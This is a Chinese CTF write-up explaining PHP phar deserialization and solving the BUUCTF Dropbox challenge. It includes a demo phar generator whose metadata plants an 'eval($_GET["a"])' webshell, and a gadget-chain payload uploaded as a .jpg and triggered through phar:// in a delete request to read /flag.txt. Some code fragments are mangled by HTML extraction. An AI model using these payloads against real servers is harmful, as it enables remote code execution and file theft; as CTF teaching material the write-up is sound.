关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

关于phar反序列化——BUUCTF[CISCN2019 华北赛区 Day1 Web1]Dropbox

先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571

简单的说,phar就是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// ,php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  • stub
    phar 文件标识,格式为 xxx
  • manifest
    压缩文件的属性等信息,以序列化存储;
  • contents
    压缩文件的内容;
  • signature
    签名,放在文件末尾;

这里有两个关键点:
一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;
二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。
关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox_第1张图片
直接来试试吧。
如果有文件test.php

output);
	}
}
if(isset($_GET['filename']))
{
	$filename=$_GET['filename'];
	var_dump(file_exists($filename));
}
?>

生成phar的文件phar.phar可以这样写:

startBuffering();  //开始写文件
$phar->setStub('');  //写入stub
$o=new Testobj();  
$o->output='eval($_GET["a"]);';  
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

这样,当我们访问phar.phpr时,将会生成test.phar的phar文件。之后再将其作为参数传到test.php中,就可getshell
关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox_第2张图片

利用条件:
① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
③ 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

再来看看[CISCN2019 华北赛区 Day1 Web1]Dropbox这道题

进入题目随便注册一个账号,可以上传文件。
上传了之后可以删除和下载文件。
在下载文件的包中发现是通过post参数filename来进行的,所以尝试能不能进行任意文件下载。
关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox_第3张图片

修改filename可进行任意文件的下载(下载不了flag)。
关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox_第4张图片

于是下载网页源码,index.php,class.php,delete.php,ownload.php
注意到class.php中的Filelist类中的__destruct可以读取任意文件

public function __destruct() {
        $table = '
'; $table .= ''; foreach ($this->funcs as $func) { $table .= ''; } $table .= ''; $table .= ''; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= ''; } $table .= ''; $table .= ''; } echo $table; }

class.php中的delete函数使用了unlink函数

    public function detele() {
        unlink($this->filename);
    }

而delete.php中又调用了delete函数

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}

综上,满足了phar反序列化利用的三个条件,所以可以使用phar反序列化来获取flag

生成phar文件的php代码:

filename=$name;
        }
    }
    class FileList {
        private $files;
        public function __construct(){
            $this->files=array(new File('/flag.txt'));
        }
    } 
    $o = new User();
    $o->db =new FileList();
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("");
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

之后将生成的phar文件后缀改为jpg上传。
接下来再点击删除文件,将文件名改为phar://phar.jpg即可获得flag
关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox_第5张图片

你可能感兴趣的:(ctf_web)

' . htmlentities($func) . 'Opt
' . htmlentities($value) . '下载 / 删除